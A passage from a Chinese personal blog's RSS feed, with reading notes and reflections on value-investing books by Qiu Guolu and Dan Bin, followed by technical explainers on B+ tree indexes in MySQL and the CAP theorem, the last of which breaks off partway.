&lt;p&gt;要回答这个问题，我们先回顾一下卖股票的三个理由：基本面恶化；价格达到目标价；有更好的其他投资&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;许多人潜意识中把买入成本当作决策依据之一，产生了常见的两种极端行为：一种是成本线上，一有风吹草动就锁定收益；成本线下，打死也不卖。另一种是成本线上无比激进，因为赚来的钱赔了不心疼；成本线下无比保守，因为本钱亏一分也肉痛。这两种极端都是人性中的“心理账户”在作祟。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;忘掉你的成本，是成功投资的第一步。全市场除了你之外，没有人知道或关心你的买入成本，因此你的成本高低、是否亏损对股票的未来走势没有丝毫影响。保罗·琼斯在判断哪些股票是失败者的时候，并不是从自己的成本，而是股价的近期高点起算的——那才是人人都看得见的参照点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;忘掉成本，也就不存在亏损股和盈利股的区别，也就不会总希望在哪里跌倒就在哪里爬起来。许多人在某只股票上亏了钱，总想从这只股票上赚回来，结果是在哪里跌倒就在哪里趴着，反而错过了很多其他机会。投资就是个不断比较不同股票的过程，与成本无关。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 09 价值投资的局限性&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;简单地说，价值投资就是当股票价格低于公司内在价值时买入，当股票价格高于内在价值时卖出。因此，价值投资的第一个基本条件：所买的公司的内在价值应该是相对容易确定的。为什么巴菲特只买商业模式简单并且跟人们日常生活息息相关的公司？道理很简单，这些公司的未来盈利增长非常稳定，因而其内在价值很容易被确定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资的第三个基本条件：要在合适的市场阶段采用。牛市的上半段往往更适合价值投资者。牛市刚开始时，悲观情绪弥漫，许多股票价格被严重低估，此时正是价值投资者大展拳脚的好时机。到了牛市下半场，估值从合理水平向高估迈进，铁杆的价值投资者往往对股市的泡沫充满警惕而提前清仓出场，反而是趋势投资者更能顺势而为，游刃有余。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 10 四种周期、三种杠杆，行业轮动时机的把握&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对有色股谈价值投资无异于对牛弹琴，唯一重要的就是趋势，包括大宗商品的趋势和有色股价的趋势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[插图]听邱国鹭谈行业投资
#未来中国的行业趋势#
中国在可预见的未来不太可能出现下一个辉瑞、下一个沃尔玛，但出现下一个卡特彼勒、下一个三星还是有希望的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于大资金来说，行业配置对总体投资收益的影响常常比精选个股更为重要。一个好的荐股逻辑包括三点：估值，这只股票为什么便宜（估值水平与同业比、与历史比；市值大小与未来成长空间比）；品质，这家公司为什么好（定价权、成长性、门槛、行业竞争格局等）；时机，为什么要现在买（盈利超预期、高管增持、跌不动了、基本面拐点、新订单等催化剂）。同样的道理，行业配置的逻辑框架也不外乎估值、品质和时机这三个要素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;）四种周期
1．政策周期
2．市场周期（估值周期）
3．经济周期
4．盈利周期&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资者VS趋势投资者 价值投资者的悲剧常是买早了，下跌后没守住；趋势投资者的悲剧常是卖晚了，下跌后又舍不得斩仓。价值投资者一般是左侧投资者，既然悲剧常是买早了，那么建仓宜缓，不妨等负面消息出来股票也不跌时再买。趋势投资者是右侧投资者，既然悲剧常是卖晚了，那么斩仓就要狠，因为趋势一旦破了就难修复。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;芒格对年轻人择业有三个建议：别兜售你不相信的东西，别为你不敬佩的人工作，别和你不喜欢的人共事&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;．政策与经济的博弈，依据历史经验看，最终胜出的一般是政策，因为政策的特点是不达目标就逐步加码，直到达成目标为止。所以说A股是政策市，不是经济市，因为看得见的手经常打败看不见的手。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在全球化和互联网时代，世界已经进入寡头阶段。如果还指望新兴中小企业能够与国际寡头竞争，就好比相信渔船舢板能挑战航空母舰。国家政策应有意识地支持中国的民营寡头成长为世界寡头，只有这样才能带动广告、法律、咨询、设计等高端生产性服务业的发展，才能跨越中等收入国家陷阱。
伟大企业是竞争而不是补贴出来的，因此在自由竞争阶段不应该对新兴行业的中小企业补贴；通过市场竞争产生民营寡头后，说明“内战”打完了，胜利者要代表中国参与“外战”了，这时国家对民营寡头在跨国并购、进出口信贷、国际渠道建设和海外知识产权纠纷等多方面的支持是必要的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第四部分 投资心理学&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;．仓位思维
一旦买成了重仓股，对利好消息就照单全收，对利空消息就不以为然，心理学上叫确认偏误，民间说法叫屁股决定脑袋。正确的决策流程是先有论据，再有结论；但多数人是先有结论，再找论据，这样一来对反面的证据自然就视而不见。有了仓位，思维就不客观，故称仓位思维。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;．锚固偏见
常有人说，这股票涨这么多了，还不抛？或者，已经跌一半了，还不买？这就是锚固偏见的表现，其潜意识是把原有股价当成合理、有参照性的锚点。其实，一个股票便宜与否，看估值比看近期涨跌更可靠：基本面大幅超预期时会越涨越便宜，反之会越跌越贵。锚固偏见是奢侈品的常用营销手段。先设计一批2万美元的包包让模特们背着走来走去，让你感觉这个品牌的包就值2万美元一个。这样一来，当你在店里看到1000美元的同一品牌包时，就不觉得贵了。其实2万美元的包也卖不了几个，利润主要来自卖1000美元的包。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其实，股票的投资价值与买入成本无关；该不该卖，也与你是否亏损无关。1万元亏损带来的痛苦是1万元盈利带来的喜悦的2倍&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;细细地回想一下，那些垃圾股、庄股以及你只想做个波段赚点快钱就跑的股票，是不是也经常让你有“差点就赢”的经历？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;不管是集体看空还是集体看多，最一致的时候往往是最危险的时候。只有卓尔不群的人才能在高处有如临深渊的谨慎，在低谷有仰望星空的勇气。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;12．心理账户
广播电视节目中常有股民这样提问：“我买了某某股票，成本是xxx，请问应如何操作。”提问者潜意识中已把买入成本当作买卖决策的依据之一。其实，是否应该卖出取决于很多因素（估值、品质、时机），但与买入成本无关，因为你的买入成本根本不影响股价的未来走势。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;广播电视节目中常有股民这样提问：“我买了某某股票，成本是xxx，请问应如何操作。”提问者潜意识中已把买入成本当作买卖决策的依据之一。其实，是否应该卖出取决于很多因素（估值、品质、时机），但与买入成本无关，因为你的买入成本根本不影响股价的未来走势。心理账户指的是人们喜欢在脑袋中把钱分成不同部分（例如买房的钱和买菜的钱）。投资者最常见的心理账户是把钱分为本钱和赚来的钱，并且对这两部分的钱体现出非常不同的风险偏好，这样无形中就把买入成本作为决策依据之一了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 12 后视镜&lt;/p&gt;</description>
    </item>
    <item>
      <title>《时间的玫瑰》投资阅读笔记</title>
      <link>http://blog.leaver.me/2020/10/10/%E6%97%B6%E9%97%B4%E7%9A%84%E7%8E%AB%E7%91%B0%E6%8A%95%E8%B5%84%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sat, 10 Oct 2020 22:44:18 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/10/10/%E6%97%B6%E9%97%B4%E7%9A%84%E7%8E%AB%E7%91%B0%E6%8A%95%E8%B5%84%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近读完了但斌的《时间的玫瑰》，作为一本投资理财相关的笔记书籍。先摘录一些笔记，然后是个人的一些感悟。&lt;/p&gt;
&lt;h2 id=&#34;笔记摘要&#34;&gt;笔记摘要&lt;/h2&gt;
&lt;p&gt;◆ 序一 价值投资的完美践行者&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资有且只有4个核心理念，这4个核心理念堪称简单、完美：
1.股票是对公司的部分所有权。
2.市场只会告诉你价格是什么，而不会告诉你价值是什么。
3.投资本质上是对未来进行预测，预测结果不可能100%正确，因此要有安全边际，安全边际主要源自买得便宜和低预期。
4.通过长时间的努力可以形成自己的能力圈，能力圈的边界比大小重要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 中国私人财富管理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;土地是经济发展的函数，经济发展了，其成果最终一定要反映到地价上，整个经济发展一定会在固定资产中得到不断体现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;再说房地产调控，目前的调控我的理解是国家实际上在帮助央企、龙头型企业消除其竞争对手。另外，行业龙头企业的诞生，一定是在行业处于困境的情况下，如果都赚钱了，谁也不会破产不会转卖。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 穿越时间的河流与伟大企业共成长&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在我们的价值体系和哲学思考中，我们认为，只有从企业本身出发，才能真正赚到钱，这也是我们东方港湾成立以来一直在学习和坚持的东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之一：偶然的投资人生&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;发现优秀企业，趁低购买，长期持有（BUY AND HOLD IT）”的策略是目前为止被证明是最有效的投资方法！“成长型价值投资法”是我们罗盘上指向北极的唯一指针。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;简而言之，我们希望选择的企业符合几项标准：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;有长期稳定的经营历史；&lt;/li&gt;
&lt;li&gt;有高度的竞争壁垒，甚至是垄断型企业，最好是非政府管制型垄断；&lt;/li&gt;
&lt;li&gt;管理者理性、诚信，以股东利益为重；&lt;/li&gt;
&lt;li&gt;财务稳健，负债不高而净资产收益率高，自由现金流充裕；&lt;/li&gt;
&lt;li&gt;我们能够理解的，能够把握的企业。
作为投资人，应该更多地研究企业经营，简单称为“产、供、销”几方面，只有经营得好的企业，才有投资价值。
我们&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;那么何时卖出呢？理论上讲，好企业最好长期持有，但以下三种情况我们也会选择卖出：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;好企业被市场高估太多了。&lt;/li&gt;
&lt;li&gt;好企业开始衰退期。&lt;/li&gt;
&lt;li&gt;当我们发现更好的企业，更换旧的投资。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;◆ 投资札记之二：选股没有秘密&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;招商银行的未来
没有事物是永恒的，招商银行也一样无法确定自己的未来。但有一点是肯定的，只要有人类存在，银行业就会一直发展下去。某种意义上，“银行业的未来就是人类社会的未来”（见亨利·英格勒、詹姆斯·埃森格《银行业的未来》）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;越有能力的人越渴望自由，而平均水准以下的人群渴望的则是公平。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之三：投资最难的是什么&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果我们不愿意拥有一家股票十年，那就不要考虑拥有它十分钟。”这是巴菲特选择企业的原则。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之四：给新股民的建议&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;许多投资者在计算他们的财富时，记忆永远停留在他们曾经达到的最辉煌的那一刻，常将某一天的最高市值视为已到手的收益，然后以那一刻的市值来计算他的得失。结果，变化的市值与最高市值相比，难免心态失衡。投资应该超越这种“财富观”。过去的市值包括买入价格等都属于“沉没成本”。有的人天天看自己账户上市值的变化，其实这没有任何意义，更容易唤起一种心里错觉，患得患失&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之五：股市知与行&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;西方有一句古老的谚语：要为长期而买进！时间是最有价值的资产，我们今天所买入的股票不仅仅属于我们自己，还是整个家族的。我们应该为我们的子孙担负起此刻的职责。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;，全世界只有少数国家或地区允许赌博业合法，因为它是一个你赢我输的零和游戏。但资本市场为什么在这么多国家获得支持和发展，其实它的本质是非零和游戏，是参与者能共赢的游戏。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 坚持是价值投资的核心&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;《证券市场周刊》：你认为价值投资理论复杂吗？但斌：很简单。巴菲特提到价值投资观念的核心是“以40美分的价格买进一美元的纸钞”，而成长是优秀公司价值的一个必要组成，即是说，这个一美元的纸钞随着时间仍在继续增值。这个方法本身不是很难，很容易讲明白，但是坚持不容易。这里面我认为存在三个无法避过的阶段：一是理解和接受价值投资的观念；二是要本着严谨的态度，以逻辑合理的方法去评估企业的价值；三是在动荡的环境中坚持。规则很简单，但是坚持太难了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们对组合理论的理解，大概7个股票是最好的结果，超出了可能很难达到最大的收益，降低了可能风险就稍微大一点。好股就那么多。一个经济体中，企业的构成像金字塔，最好的企业就是塔尖那么几个，越往下越差。你的资金越集中在金字塔的顶部，收益越高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;证券市场周刊》：那你讲一下他的财富观。但斌：就是说你对财富是怎么看待的。比如说一般的老百姓说我有钱了，要买好车，要买好房子，娶个好老婆。但是财富就是改变世界、影响世界的工具，就是这个财富应该被谁驾驭，这是一个社会问题。假设有上帝，上帝会进行选择，他会选择把这些财富交给什么样的人来管理，这是很重要的。为什么中国的富豪老出事呢？就是这个人如果不义，上帝也不会把更多的财富给他。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;资本市场的本质是什么？就把社会财富放到最有效率的一个企业里，让最能干的人、最好的团队、有最好文化的企业来运用。把财富交到这些人手里，然后让他们去创造财富。巴菲特做的事情就是把钱放到这些好企业里。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 价值投资的内在逻辑&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;但斌：熊市的时候有很多股票可以挑，打个比喻，就像打高尔夫球一样，很多球都落在地上，可以不断地打，打飞一个以后还有。熊市里，如果错过茅台还有招商银行，错过招商银行还有万科。现在是打一个少一个，快打光了。很多人“5·30”空仓了，他想球还会落在地上，还会让他有一个合适的位置打，但是恰恰相反，他想买的东西不断往上涨，他不想买的东西不断往下跌，他没有球可打。更可怕的是，如果他认为这些股票高估的假设是成立的，也许还能够等到这个球，如果事情的发展超出他的想象，真的连续3年100%增长，这个球就永远打不到了。如果思维方式不变，或者是对于这个增长老是持怀疑态度，他永远打不着这个球。所以投资难在哪？长期投资坚持的是什么？是对于一个国家、一个企业，它长期发展的逻辑有没有一个合理判断，有了这样一个合理的判断，你才有机会打出好球，否则的话会很遗憾。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 价值投资的本质是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;但斌：高盈利行业的共同特征是商业模式简单、可靠，容易理解，有强大的商业壁垒，有持续创造财富的能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们自己算过，未来七年，茅台每年会有21%~24%的复合增长。腾讯我们现在看不到天花板，但是我们觉得它会大得像一个国家一样，不排除到10万亿元的可能性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;有些人后悔不过是因为他们不停在变。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 纽约上空自由飞翔的鸽子&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;女神像底座上的诗歌“欢迎你，那些疲乏了的和贫困的挤在一起渴望自由呼吸的大众，那熙熙攘攘的被遗弃了的可怜的人们。把这些无家可归的饱受颠沛的人们一起交给我。我站在金门口，高举起自由的灯火!”为理想的国家而言，显然是历史的倒退……美国的价值观已经在“撕裂”……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 绽放我们的生命&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此刻，这位老朋友也让我联想起英国圣公会主教墓碑上的一段话：当我年轻自由的时候，我的想象力没有任何局限，我梦想改变这个世界。当我渐渐成熟明智的时候，我发现这个世界是不可能改变的，于是我将眼光放得短浅了一些，那就只改变我的国家吧！但是我的国家似乎也是我无法改变的。当我到了迟暮之年，抱着最后一丝努力的希望，我决定只改变我的家庭、我亲近的人——但是，唉！他们根本不接受改变。现在在我临终之际，我才突然意识到：如果起初我只改变自己，接着我就可以依次改变我的家人，然后，在他们的激发和鼓励下，我也许就能改变我的国家。再接下来，谁又知道呢，也许我连整个世界都可以改变。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;个人感悟&#34;&gt;个人感悟&lt;/h2&gt;
&lt;p&gt;几年前在美股市场买了一点美股，当时看好英伟达，觉得英伟达是一家伟大的企业，本金很少，但是收益率很高。前段时间，买过蔚来，在2块买入，3块卖掉了。读完时间的玫瑰之后，作为自诩价值投资的人，感到深深的羞愧。自己还是有不少投机的思维，看好一家公司，长期持有他。投资可能也就是如此简单吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mysql中的B&#43;树介绍</title>
      <link>http://blog.leaver.me/2020/01/10/mysql%E4%B8%AD%E7%9A%84b-%E6%A0%91%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Fri, 10 Jan 2020 07:55:18 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/01/10/mysql%E4%B8%AD%E7%9A%84b-%E6%A0%91%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;最近工作中遇到了一些索引的问题，发现自己其实并不了解，因此稍微了解下。在介绍B+树之前，需要先了解下B树，部分信息来源自参考文档。&lt;/p&gt;
&lt;h2 id=&#34;什么是-b-树&#34;&gt;什么是 B 树&lt;/h2&gt;
&lt;h3 id=&#34;b树概念&#34;&gt;B树概念&lt;/h3&gt;
&lt;p&gt;B树也称B-树,它是一棵多路平衡查找树（和二路对应）。二叉树我想大家都不陌生，其实，B树和后面讲到的B+树也是从最简单的二叉树变换而来，下面我们来看看B树的定义。我们定义m表示树的阶。阶数表示了一个节点最多有多少个子节点，那么一棵B需要满足以下几个条件&lt;/p&gt;
&lt;p&gt;1.每个节点最多有m-1个关键key（可以存有的键值）。
2.根节点最少可以只有1个关键字。意思是也可以有多个。
3.非根节点至少有m/2个关键字。如果少了，那么就要进行树的调整
4.为了平衡查找，每个节点中的关键字都按照从小到大的顺序排列，每个关键字的左子树中的所有关键字都小于它，而右子树中的所有关键字都大于它。这个很简单了。没有这个保证的话，平衡查找无从谈起。
5.所有叶子节点都位于同一层，或者说根节点到每个叶子节点的长度都相同。
6.包括非叶节点在内，每个节点都存有key和数据，也就是对应的key和value。&lt;/p&gt;
&lt;p&gt;也就是说，根节点的关键字数量k的范围：1 &amp;lt;= k &amp;lt;= m-1，非根节点的关键字数量范围：m/2 &amp;lt;= k &amp;lt;= m-1。&lt;/p&gt;
&lt;h2 id=&#34;什么是b树&#34;&gt;什么是B+树&lt;/h2&gt;
&lt;p&gt;B+树其实和B树是很相似的，特点是能够保持数据稳定有序，其插入与修改拥有较稳定的对数时间复杂度。B+ 树元素自底向上插入，这与二叉树恰好相反。&lt;/p&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点&lt;/h3&gt;
&lt;p&gt;1.根节点至少一个元素
2.非根节点元素范围：m/2 &amp;lt;= k &amp;lt;= m-1&lt;/p&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点&lt;/h3&gt;
&lt;p&gt;1.B+树有两种类型的节点：内部结点（也称索引结点）和叶子结点。内部节点就是非叶子节点，内部节点不存储数据，只存储索引，数据都存储在叶子节点。而B树都存储数据，这会导致查询性能不稳定，因为查找次数不确定。&lt;/p&gt;
&lt;p&gt;2.内部结点中的key都按照从小到大的顺序排列，对于内部结点中的一个key，左树中的所有key都小于它，右子树中的key都大于等于它。叶子结点中的记录也按照key的大小排列。
3.每个叶子结点都存有相邻叶子结点的指针，叶子结点本身依关键字的大小自小而大顺序链接。
4.父节点存有右孩子的第一个元素的索引。&lt;/p&gt;
&lt;h2 id=&#34;mysql中的选择&#34;&gt;mysql中的选择&lt;/h2&gt;
&lt;h3 id=&#34;索引的数据结构&#34;&gt;索引的数据结构&lt;/h3&gt;
&lt;p&gt;数据库中，数据都存在磁盘中，索引也多到大部分存在磁盘中，这样对于索引，每次查找数据时把磁盘IO次数控制在一个很小的数量级，最好是常数数量级。就这样，b+树应运而生。&lt;/p&gt;
&lt;p&gt;MySQL 默认的存储引擎选择 B+ 树而不是哈希或者 B 树的原因：&lt;/p&gt;
&lt;p&gt;1.哈希虽然能够提供 O(1) 的单数据行操作性能，但是对于范围查询和排序却无法很好地支持，最终导致全表扫描；
2.B 树能够在非叶节点中存储数据，但是这也导致在查询连续数据时可能会带来更多的随机 I/O，而 B+ 树的所有叶节点可以通过指针相互连接，能够减少顺序遍历时产生的额外随机 I/O；&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;b+树&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-10-17-02-18.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;如上图，是一颗b+树，关于b+树的定义可以参见B+树，这里只说一些重点，浅蓝色的块我们称之为一个磁盘块，可以看到每个磁盘块包含几个数据项（深蓝色所示）和指针（黄色所示），如磁盘块1包含数据项17和35，包含指针P1、P2、P3，P1表示小于17的磁盘块，P2表示在17和35之间的磁盘块，P3表示大于35的磁盘块。真实的数据存在于叶子节点即3、5、9、10、13、15、28、29、36、60、75、79、90、99。非叶子节点只不存储真实的数据，只存储指引搜索方向的数据项，如17、35并不真实存在于数据表中。&lt;/p&gt;
&lt;h3 id=&#34;b树的查找过程&#34;&gt;b+树的查找过程&lt;/h3&gt;
&lt;p&gt;如图所示，如果要查找数据项29，那么首先会把磁盘块1由磁盘加载到内存，此时发生一次IO，在内存中用二分查找确定29在17和35之间，锁定磁盘块1的P2指针，内存时间因为非常短（相比磁盘的IO）可以忽略不计，通过磁盘块1的P2指针的磁盘地址把磁盘块3由磁盘加载到内存，发生第二次IO，29在26和30之间，锁定磁盘块3的P2指针，通过指针加载磁盘块8到内存，发生第三次IO，同时内存中做二分查找找到29，结束查询，总计三次IO。真实的情况是，3层的b+树可以表示上百万的数据，如果上百万的数据查找只需要三次IO，性能提高将是巨大的，如果没有索引，每个数据项都要发生一次IO，那么总共需要百万次的IO，显然成本非常非常高。&lt;/p&gt;
&lt;h3 id=&#34;b树和索引的关系&#34;&gt;b+树和索引的关系&lt;/h3&gt;
&lt;p&gt;联合索引，如果有一个3列索引(name,age,sex)，则已经对(name)、(name,age)、(name,age,sex)上建立了索引；&lt;/p&gt;
&lt;p&gt;1.我们知道IO次数取决于b+数的高度h，假设当前数据表的数据为N，每个磁盘块的数据项的数量是m，则有h=㏒(m+1)N，当数据量N一定的情况下，m越大，h越小；而m = 磁盘块的大小 / 数据项的大小，磁盘块的大小也就是一个数据页的大小，是固定的，如果数据项占的空间越小，数据项的数量越多，树的高度越低。这就是为什么每个数据项，即索引字段要尽量的小，比如int占4字节，要比bigint8字节少一半。这也是为什么b+树要求把真实的数据放到叶子节点而不是内层节点，一旦放到内层节点，磁盘块的数据项会大幅度下降，导致树增高。当数据项等于1时将会退化成线性表。&lt;/p&gt;
&lt;p&gt;2.当b+树的数据项是复合的数据结构，比如(name,age,sex)的时候，b+数是按照从左到右的顺序来建立搜索树的，比如当(张三,20,F)这样的数据来检索的时候，b+树会优先比较name来确定下一步的所搜方向，如果name相同再依次比较age和sex，最后得到检索的数据；但当(20,F)这样的没有name的数据来的时候，b+树就不知道下一步该查哪个节点，因为建立搜索树的时候name就是第一个比较因子，必须要先根据name来搜索才能知道下一步去哪里查询。比如当(张三,F)这样的数据来检索时，b+树可以用name来指定搜索方向，但下一个字段age的缺失，所以只能把名字等于张三的数据都找到，然后再匹配性别是F的数据了， 这个是非常重要的性质，即索引的最左匹配特性。&lt;/p&gt;
&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/B%2B%E6%A0%91&#34;&gt;https://zh.wikipedia.org/wiki/B%2B%E6%A0%91&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://segmentfault.com/a/1190000020416577&#34;&gt;https://segmentfault.com/a/1190000020416577&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://tech.meituan.com/2014/06/30/mysql-index.html&#34;&gt;https://tech.meituan.com/2014/06/30/mysql-index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://draveness.me/whys-the-design-mysql-b-plus-tree&#34;&gt;https://draveness.me/whys-the-design-mysql-b-plus-tree&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解 CAP 理论</title>
      <link>http://blog.leaver.me/2020/01/06/%E7%90%86%E8%A7%A3-cap-%E7%90%86%E8%AE%BA/</link>
      <pubDate>Mon, 06 Jan 2020 10:00:08 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/01/06/%E7%90%86%E8%A7%A3-cap-%E7%90%86%E8%AE%BA/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;CAP理论 实际上听起来非常简单，但是有时候，遇到一些具体的问题的时候， 还是不能很清晰的分辨出来，到底是CP还是AP，以及一些其他的问题。因此，专门作为&amp;quot;生产者&amp;quot;来学习下，加深理解。&lt;/p&gt;
&lt;p&gt;首先，在理论计算机科学中，CAP定理（CAP theorem），又被称作布鲁尔定理（Brewer&amp;rsquo;s theorem），它指出对于一个分布式计算系统来说，不可能同时满足以下三点：&lt;/p&gt;
&lt;p&gt;1.一致性（Consistency） （等同于所有节点访问同一份最新的数据副本）
2.可用性（Availability）（每次请求都能获取到非错的响应——但是不保证获取的数据为最新数据）
3.分区容错性（Partition tolerance）（以实际效果而言，分区相当于对通信的时限要求。系统如果不能在时限内达成数据一致性，就意味着发生了分区的情况，必须就当前操作在C和A之间做出选择。）&lt;/p&gt;
&lt;p&gt;根据定理，分布式系统只能满足三项中的两项而不可能满足全部三项。&lt;/p&gt;
&lt;p&gt;这个定理起源于加州大学柏克莱分校（University of California, Berkeley）的计算机科学家埃里克·布鲁尔在2000年的分布式计算原理研讨会（PODC）上提出的一个猜想。 在2002年，麻省理工学院（MIT）的赛斯·吉尔伯特和南希·林奇发表了布鲁尔猜想的证明，使之成为一个定理。&lt;/p&gt;
&lt;h1 id=&#34;举例&#34;&gt;举例&lt;/h1&gt;
&lt;p&gt;假设你明天就要放长假了，你想买一本战争与和平的书籍，你最喜欢的在线商城里面只有一本了。&lt;/p&gt;
&lt;h2 id=&#34;一致性&#34;&gt;一致性：&lt;/h2&gt;
&lt;p&gt;Consistency，在Gilbert and Lynch 的论文里，他们也用 “Atomic” 原子性来代替一致性这个单词。
在买书的这个例子里，你要么就是把书放到了购物车，要么就是放失败了，要么付款，要么没付款，不可能说放了一半，或者说买了一半。只有一本书，如果两个客户都准备买，缺乏一致性的话，如果两个人都完成了下单，可能会出问题。比如两个人都下了单，当然，在这个例子中，并不严重。&lt;/p&gt;
&lt;p&gt;我们也可以用数据库来解决这个问题，数据库里有个字段减去个1，然后当及其他客户也要付款的时候，我们提示他没了。&lt;/p&gt;
&lt;p&gt;数据库看很好用。因为具有ACID的能力。既有一致性，又有原子性，中间状态对第二个客户端是不可见的。是隔离的。因为第二个客户端再下单的时候，另一个用户在事务中的话，就锁住了数据库那条记录。&lt;/p&gt;
&lt;h2 id=&#34;可用性&#34;&gt;可用性：&lt;/h2&gt;
&lt;p&gt;可用性就是说，当你需要的时候，大部分情况下，服务都是可以为你服务的。以买书为例，在用户A开启事务的时候，有那么几毫秒是锁表的，这个阶段，服务可以认为对其他用户是不可用的。并不是说要时时刻刻可用，一般会有个可用率的指标。如果记不住，可以通过这里来计算：
&lt;a href=&#34;https://uptime.is/99.99999&#34;&gt;https://uptime.is/99.99999&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;分区容错&#34;&gt;分区容错：&lt;/h2&gt;
&lt;p&gt;如果你就一个数据库，一个服务端，那一般也都是原子的，如果挂了，服务不可用，但是数据还是一致的。&lt;/p&gt;
